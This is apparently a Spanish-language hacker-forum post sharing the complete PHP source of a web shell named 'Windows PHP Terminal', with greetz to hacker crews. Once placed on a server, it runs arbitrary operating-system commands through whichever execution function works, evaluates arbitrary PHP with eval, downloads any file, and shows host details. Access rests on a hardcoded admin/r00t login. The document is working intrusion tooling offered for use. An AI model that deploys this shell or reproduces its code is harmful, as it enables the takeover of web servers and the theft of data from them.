[Aporte] Windows PHP Terminal [Beta]

<?php 

/**
 * @Versión: 0.1 Beta
 * @Home http://miusi.diosdelared.com
 * @Greetz: Xarnuz · eCORE · Rayok3nt · J3h35 · L0ve · s4r4d0 · Elemento_pcx (Fatal Error) · ToxiT · Basshettzx · Mafia Boys Crew members · Y para los demás... que me conocen!
 */

error_reporting(0);
session_start();

// Configuración
$config_command_prefix = "$";
$config_username = "admin";
$config_password = "r00t";
$config_welcome = "<br />----------- BIENVENIDO A PHP TERMINAL -----------<br />";
$config_file = basename(__FILE__);

/**
 * Lista de Código
 * 
 * 200: OK
 * 210: Descargar archivos x
 * 220: Actualizar (Refresh)
 * 300: Pedir datos (nombre de usuario y contraseña)
 * 310: nombre de usuario incorrecto
 * 320: Password ok
 * 330: Password incorrecto
 * 400: Problema con comando, Comando invalido
 */


$config_command_prefix = '<span class="prefix">' . $config_command_prefix . '</span>';


if($_SESSION['terminal']['loggedin'] && isset($_GET['file'])){
	$file = trim($_GET['file']); 
	header('Content-Description: File Transfer');
	header('Content-Disposition: attachment; filename='.basename($file));
	header('Content-Length: ' . filesize($file));
	readfile($file);
	exit();				
}

 
if(isset($_POST['action'])){
	switch($_POST['action']){
		
		 
		case 'command':
			if(isset($_POST['command'])){
				
				
				$command = trim(str_replace($config_command_prefix, '', $_POST['command']));
				$data['command'] = $command;
				$data['color_command'] = color_command($command);
				
				
				if(strstr($command, 'exit')){
					session_destroy();
					$data['result'] = "No sabes los datos de login";
					response($data, 220);
				}
				
				
				if(strstr($_POST['line'], 'username: ')){
					$user = trim(str_replace('username: ', '', $command));
					if($user == $config_username){
						$_SESSION['terminal']['username'] = $user;
						response($data, 300);
					}else{
						response($data, 310, "Usuario incorrecto");
					}
				}
				
				
				if(strstr($_POST['line'], 'password: ')){
					$pass = trim(str_replace('password: ', '', $command));
					if($pass == $config_password){
						$_SESSION['terminal']['password'] = $pass;
						$_SESSION['terminal']['loggedin'] = true;
						response($data, 320);
					}else{
						response($data, 330, "Password incorrecto");
					}
				}
				
				
				if(!isset($_SESSION['terminal']['loggedin']) && !$_SESSION['terminal']['loggedin']){
					response($data, 400, "Permiso denegado");
				}
				
				
				if(strstr($command, 'cd ')){
					$path = trim(str_replace('cd ', '', $command));
					$_SESSION['terminal']['path'] = compress_path($_SESSION['terminal']['path'] . '/' . $path);
					$data['result'] = "";
					$data['path'] = $_SESSION['terminal']['path'];
					response($data);
				}
				
				 
				if(strstr($command, 'func ')){
					$function = trim(str_replace('func ', '', $command));
					$data['result'] = function_exists( $function ) ? "exist" : "doesn't exist";
					response($data);
				}
				
				
				if(strstr($command, 'exec ')){
					$code = trim(str_replace('exec ', '', $command));
					
					
					ob_start();
					eval($code);
					$content = ob_get_contents();
					ob_clean();

					$data['result'] = $content;
					response($data);
				}

				
				if($command != ""){
					$data['result'] = execute($command, $_SESSION['terminal']['function']);
					response($data);
				}else{
					response($data, 400, 'Empty command');
				}
				
			}
			break;
			
		 
		case 'init':
			if(!isset($_SESSION['terminal']['function']) || $_SESSION['terminal']['function'] == ''){
				$commander = getValidCommandFunction();
				$_SESSION['terminal']['function'] = $commander;
			}
			sleep(1);
			
			$data['commander'] = $commander;
			$data['loggedin'] = isset($_SESSION['terminal']['loggedin']) && $_SESSION['terminal']['loggedin'] ? true : false;
			response($data);
			break;
	}
	exit();
}

/**
 * 
 * 
 * 
 * 
 * 
 * 
 */
function response($data, $code=200, $error=""){
	
	$response['code'] = $code;
	$response['error'] = $error;
	$response['data'] = $data;
	
	echo json_encode($response);
	exit();
	
}

/**
 * Windows
 * 
 * @
 */
function isWindows(){
	ob_start();
	phpinfo();
	$phpinfo = ob_get_clean();
	return preg_match('~System </td><td class="v">([^<]*Windows)~',$phpinfo) ? true : false;	
}

function getValidCommandFunction(){
	// Prueba
	$test_command = isWindows() ? 'dir' : 'ls';
	
	// 
	ob_start();
	system($test_command);
	$result = ob_get_contents();
	ob_end_clean();
	if(trim($result) != '' && !strstr($result, 'Deshabilitado por Seguridad')) return 'system';
	
	// 
	$result = exec($test_command);
	if(trim($result) != '' && !strstr($result, 'Deshabilitado por Seguridad')) return 'exec';
	
	// 
	ob_start();
	passthru($test_command);
	$result = ob_get_contents();
	ob_end_clean();
	if(trim($result) != '' && !strstr($result, 'Deshabilitado por Seguridad')) return 'passthru';
	
	// shell_exec
	$result = shell_exec($test_command);
	if(trim($result) != '' && !strstr($result, 'Deshabilitado por Seguridad')) return 'shell_exec';
	
}

function execute($command, $function, $n_to_br=true){
	
	$chdir = '';
	if($_SESSION['terminal']['path'] != ''){
		if(isWindows()){
			if(!@chdir( $_SESSION['terminal']['path'] )){
				$_SESSION['terminal']['path'] = '';
				$data['result'] = "Has vuelto al directorio .";
				response($data);
			}
		}else{
			$chdir = "cd " . $_SESSION['terminal']['path'] . "\n";
		}
	}
	
	
	switch($function){
		
		case 'system':
			ob_start();
			system($chdir . $command);
			$result = ob_get_contents();
			ob_end_clean();
			break;
		case 'exec':
			$result = exec($chdir . $command);
			break;
		case 'passthru':
			ob_start();
			passthru($chdir . $command);
			$result = ob_get_contents();
			ob_end_clean();
			break;
		case 'shell_exec':
			$result = shell_exec($chdir . $command);
			break;
		default:
			$result = false;
			break;
	}
	
	return $n_to_br ? nl2br( htmlspecialchars( $result )) : htmlspecialchars($result);
	
}

function compress_path($path){
	
	// 
	$clean = str_replace('\\', '/', $path);
	
	// 
	$clean = str_replace(array('////', '///', '//'), '/', $clean);
	
	if(substr($clean, 0, 1) == "/") $clean = substr($clean, 1);
	
	return $clean;
}

function color_command($command){
	$parts = explode(' ', $command);
	$parts[0] = '<span class="keyword">' . $parts[0] . '</span>';
	return implode(' ', $parts);
}

?>

<html>
<head>
<title>Windows Terminal PHP</title>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.1/jquery.min.js" type="text/javascript"></script> 
<style>
	body{
		text-align: center;
		font-size: 11px;
		font-family: verdana;
		background-color: #EFEFEF;
	}
	h1 {
		padding: 10px 15px;
		margin: 0px;
		font-size: 14px;
		background-color: #747474;
		background-image: -moz-linear-gradient(100% 100% 90deg, #777, #999) !important;
    	background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#999), to(#777)) !important;
		color: #FFF;
		-webkit-border-radius: 4px;
		-moz-border-radius: 4px;
		border-radius: 4px;
		text-shadow:1px 1px 2px #333333;
	}
	table {
		width: 565px;
	}
	table tr td{
		font-family: verdana;
		font-size: 11px;
		padding: 10px 5px;
		border-bottom: solid 1px #CCC;
		
	}
	#wrapper{
		width: 600px;
		margin: 20px auto;
		text-align: left;
	}
	#console{
		height: 200px;
		overflow: auto;
		background-color: #000;
		padding: 15px;
		font-family: monospace;
		font-size: 12px;
		color: #FFF;
	}
	.content{
		padding: 15px;
	}
	#commander{
		border: solid 1px #CCC;
		padding: 5px 10px;
		-webkit-border-radius: 2px;
		-moz-border-radius: 2px;
		border-radius: 2px;
		margin: 5px;
		width: 590px;
		height: 30px;
	}
	.box{
		-moz-box-shadow: 1px 1px 8px #666;
		-webkit-box-shadow: 1px 1px 8px #666;
		box-shadow: 1px 1px 8px #666;
		border: solid 1px #DDD;
		-webkit-border-radius: 4px;
		-moz-border-radius: 4px;
		border-radius: 4px;
		margin: 15px 0px;
		background-color: #F5F5F5;
	}
	#help{
		width: 300px;
		float: right;
	}
	.prefix{
		color: #0077E7;
	}
	.keyword{
		color: #9eff63;
	}
	.error{
		color: #FF0000;
	}
	.spacer{
	clear: both;
	display: block;
	text-align: center;
	}
</style>
<script type="text/javascript">    

	// Config
	var config_command_prefix = '<?php echo $config_command_prefix ?>';
	var config_welcome = '<?php echo $config_welcome ?>';
	var command_stack = Array();
	var command_stack_position = 0;

	$(document).ready(function() {
	    $.post("<?php echo $config_file; ?>", {action: 'init'}, function(response){
		   	var extra = response.data.loggedin ? 'Bienvenido a Windows Terminal' : ' username: ?';
	    	$("#console").html($("#console").html() + "<br />" + config_command_prefix + extra);
	    	$("#commander").attr('disabled', false);
			// Set focus to commander 
	    	$("#commander").focus();
	    	
		}, "json");
	});

	function execute(field,event) {
		var theCode = event.keyCode ? event.keyCode : event.which ? event.which : event.charCode;
		if(theCode == 38){
			if(command_stack_position > 0) command_stack_position--;
			$("#commander").val(command_stack[command_stack_position]);
		}else if(theCode == 40){
			if(command_stack_position < (command_stack.length-1)) command_stack_position++;
			$("#commander").val(command_stack[command_stack_position]);
		}else if (theCode == 13){

			// Get the inputed command
			var command = $("#commander").val();
			$("#commander").val('');

			// Add command to stack and update position
			command_stack.push( command );
			command_stack_position = (command_stack.length);
			
			// Get the last line of the result window to see if there was a question
			var lines = $("#console").html().toLowerCase().split('<br>');
			var line = lines[lines.length-1];

			// Check if it is a download command
			if(command.indexOf("download") > -1){
				var file = command.replace('download ', '');
				window.location = '<?php echo $config_file; ?>?file=' + file;
				return; 
			}

			// Check if it is a cls command
			if(command.indexOf("cls") == 0 || command.indexOf("clear") == 0){
				$("#console").html("");
				return; 
			}
			
			$.post("<?php echo $config_file; ?>", {action: 'command', command: command, line: line}, function(response){
				if(response.code == 200){
					show = (response.data.result == null) ? "" : response.data.result + "<br />";
					result = config_command_prefix + " " + response.data.color_command + "<br />" + show;
				}else if(response.code == 220){
					window.location = '<?php echo $config_file; ?>';
				}else if(response.code == 310){
					result = response.error + "<br />" + config_command_prefix + " username: ?";
				}else if(response.code == 320){
					result = config_welcome + "<br />" + config_command_prefix + " ";
				}else if(response.code == 330){
					result = response.error + "<br />" + config_command_prefix + " password: ?";
				}else if(response.code == 300){
					result = config_command_prefix + " password: ?";
				}else{
					result = '<span class="error">' + response.error + "</span><br />";
				}
				$("#console").html($("#console").html() + '<br />' + result ).focus();

				// Scroll to bottom
				textareaelem = document.getElementById('console');
				textareaelem.scrollTop = textareaelem.scrollHeight;

				// Set focus to commander
				$("#commander").focus();
				
			}, "json");
			return false;
		}else{
			return true;
		}

	} 

</script>
	
</head>
<body>

<div id="wrapper">
	<div class="box">
		<h1>Terminal@<?php echo $_SERVER['SERVER_NAME']; ?></h1>
	  <div id="console"><?php echo $config_command_prefix ?> Cargando terminal windows ...</div>
		<input text="test" id="commander" onKeyUp="execute(this,event);" disabled="disabled" />
	</div>

	<div class="box">
		<h1> Informaci&oacute;n del Sistema</h1>
		<div class="content">
			<table cellpadding="5" cellspacing="0" >
				<tr>
					<td>PHP Versi&oacute;n</td>
					<td align="right"><?php echo phpversion(); ?></td>
				</tr>
				<tr>
					<td>Host</td>
					<td align="right"><?php echo $_SERVER['HTTP_HOST']; ?></td>
				</tr>
				<tr>
					<td>Full path</td>
					<td align="right"><?php echo dirname(__FILE__); ?></td>
				</tr>
				<tr>
					<td>Server</td>
					<td align="right"><?php echo $_SERVER['SERVER_SOFTWARE'] ?></td>
				</tr>
			</table>
		</div>
	</div>

	<div class="spacer"><!-- SPACER --><SCRIPT LANGUAGE="JavaScript">
function mi_alerta () {
alert ("Alejandro - Basshettzx - Antrax - SeR00T - Flemon - N350k - Aioros - TrueneX - L0ve - Cronos - Dracko - Xarnuz - eCORE - Pois0n-r00t - J3h35  - CruTsy  - Cristina Fernandez de Kichner.!");
}
</SCRIPT>
</HEAD>
<BODY>
<FORM>
<input type=button value="Greetz" onClick="mi_alerta()">
</FORM></div>
</div>

</body>
</html>